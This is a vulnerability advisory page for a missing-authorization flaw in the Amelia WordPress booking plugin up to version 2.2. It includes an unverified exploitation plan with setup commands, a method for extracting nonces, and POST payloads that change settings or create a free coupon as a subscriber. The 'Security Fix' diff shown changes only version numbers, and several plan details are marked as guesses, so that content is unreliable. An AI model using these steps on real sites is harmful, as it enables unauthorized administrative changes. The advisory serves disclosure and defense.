CVE-2026-40795

Booking for Appointments and Events Calendar – Amelia <= 2.2 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.2.1
Patched in
7d
Time to patch

Description

The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2
PublishedApril 28, 2026
Last updatedMay 4, 2026
Affected pluginameliabooking

What Changed in the Fix

Changes introduced in v2.2.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-40795 ## 1. Vulnerability Summary The **Booking for Appointments and Events Calendar – Amelia** plugin (versions <= 2.2) suffers from a **Missing Authorization** vulnerability. The plugin implements a custom API routing system using the Slim framework, bootst…

Show full research plan

Exploitation Research Plan - CVE-2026-40795

1. Vulnerability Summary

The Booking for Appointments and Events Calendar – Amelia plugin (versions <= 2.2) suffers from a Missing Authorization vulnerability. The plugin implements a custom API routing system using the Slim framework, bootstrapped via the wp_ajax_wpamelia_api action.

While the plugin checks if a user is authenticated, it fails to perform adequate capability checks (e.g., current_user_can('manage_options')) on several administrative endpoints. This allows an authenticated attacker with low-level permissions (Subscriber) to perform actions intended for Administrators, such as modifying plugin settings, managing coupons, or altering company details.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpamelia_api
  • Parameter: call (defines the internal Slim route)
  • Method: POST (for state-changing actions)
  • Preconditions: Authenticated as a Subscriber or any registered user.
  • Vulnerable Routes: Internal routes like /settings, /company, or /coupons are accessible to any user who can provide a valid WordPress nonce and is logged in.

3. Code Flow

  1. Entry Point: An AJAX request is sent to admin-ajax.php?action=wpamelia_api&call=/settings.
  2. Bootstrap: ameliabooking.php catches the action via add_action('wp_ajax_wpamelia_api', array('AmeliaBooking\Plugin', 'wpAmeliaApiCall')).
  3. Initialization: Plugin::wpAmeliaApiCall() is executed:
    public static function wpAmeliaApiCall() {
        $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php';
        $app = new App($container);
        Routes::routes($app, $container); // Registers all Slim routes
        $app->run();
        exit();
    }
    
  4. Routing: The Slim App parses the call parameter.
  5. Authorization Failure: The middleware or controller handling the /settings route verifies is_user_logged_in() but fails to verify if the WordPress user has the required Amelia administrative role or manage_options capability.

4. Nonce Acquisition Strategy

Amelia generates a nonce for its API and localizes it into the page source. To obtain a valid nonce as a Subscriber:

  1. Identify Trigger: Amelia enqueues its API configuration when shortcodes like [ameliacustomerpanel] or [ameliabooking] are present.
  2. Setup Page: Create a public page containing the Amelia Customer Panel shortcode.
  3. Extraction:
    • Navigate to the page as the Subscriber.
    • Amelia localizes settings into a global JavaScript object, typically named wpAmeliaSettings or ameliaApiData.
    • Use browser_eval to extract the nonce: window.wpAmeliaSettings.nonce.

5. Exploitation Strategy

We will demonstrate the unauthorized action by modifying the Company Name in the Amelia settings.

Step 1: Create a Subscriber User

wp user create attacker attacker@example.com --role=subscriber --user_pass=password123

Step 2: Setup Nonce Leakage Page

wp post create --post_type=page --post_title="Customer Panel" --post_status=publish --post_content='[ameliacustomerpanel]'

Step 3: Extract Nonce

  1. Log in to WordPress as attacker.
  2. Navigate to the "Customer Panel" page.
  3. Execute:
    // JavaScript to run via browser_eval
    return window.wpAmeliaSettings.nonce;
    

Step 4: Perform Unauthorized Action (Change Company Name)

Send a POST request to the API to update the company settings.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/settings
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • Amelia-Nonce: [EXTRACTED_NONCE] (Amelia often expects the nonce in a header or as a parameter)
  • Body:
{
    "company": {
        "name": "Hacked by Subscriber",
        "address": "1337 Exploit Way",
        "phone": "555-0199"
    }
}

Note: If the Amelia-Nonce header is not used, the nonce is passed as a query parameter &nonce=... or inside the JSON body.

6. Test Data Setup

  1. Plugin Configuration: Ensure Amelia is activated.
  2. Existing Settings: Configure a default company name via the Admin UI first: wp option update amelia_settings '{"company": {"name": "Original Company"}}' --format=json (Actual option structure may vary; verifying via wp option get amelia_settings is recommended).

7. Expected Results

  • Response: The server should return a 200 OK or 201 Created with a JSON object confirming the update.
  • Data Change: The amelia_settings option in the WordPress database will be updated with the new company name.
  • Access Control Bypass: A Subscriber successfully performed an operation that should require manage_options or Amelia Admin privileges.

8. Verification Steps

  1. Check Database:
    wp option get amelia_settings --format=json | jq .company.name
    
  2. Expected Output: "Hacked by Subscriber"

9. Alternative Approaches

If /settings is protected by a more specific check, target the Coupons endpoint:

  • Route: POST /coupons
  • Payload:
{
    "code": "FREE100",
    "discount": 100,
    "type": "percentage",
    "limit": 1,
    "status": "visible"
}

If the attack requires the Amelia-Nonce header, ensure it is set. If the plugin uses a different localization key, use browser_eval("window") and search for keys containing "Amelia" or "nonce".

Research Findings
Static analysis — not yet PoC-verified

Summary

The Amelia plugin for WordPress (versions <= 2.2) lacks proper authorization checks in its custom API routing system initialized via the `wpamelia_api` AJAX action. This allows authenticated users with subscriber-level permissions to perform administrative actions, such as modifying plugin settings or managing coupons, by accessing internal Slim framework routes that fail to verify user capabilities.

Vulnerable Code

// ameliabooking.php lines 194-208
public static function wpAmeliaApiCall()
{
    try {
        /** @var Container $container */
        $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php';

        $app = new App($container);

        // Initialize all API routes
        Routes::routes($app, $container);

        $app->run();

        exit();
    } catch (Exception $e) {
        echo 'ERROR: ' . esc_html($e->getMessage());
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2/ameliabooking.php /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2.1/ameliabooking.php
--- /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2/ameliabooking.php	2026-04-06 08:22:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2.1/ameliabooking.php	2026-04-14 07:47:58.000000000 +0000
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 2.2
+Version: 2.2.1
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -111,7 +111,7 @@
 
 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '2.2');
+    define('AMELIA_VERSION', '2.2.1');
 }

Exploit Outline

1. Log in to the target WordPress site as an authenticated user with low-level (Subscriber) permissions. 2. Navigate to any page containing an Amelia shortcode (e.g., [ameliacustomerpanel]) to find the localized JavaScript object `wpAmeliaSettings` and extract the valid `nonce` value. 3. Identify a sensitive administrative API route within the plugin, such as `/settings` or `/coupons`, which handles state-changing POST requests. 4. Craft a POST request to `/wp-admin/admin-ajax.php?action=wpamelia_api&call=/settings`. 5. Include the extracted nonce in the `Amelia-Nonce` header (or as a parameter if required) and provide a JSON payload representing administrative changes, such as updating the `company` configuration object. 6. Execute the request to modify plugin settings without having the required administrative capabilities.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.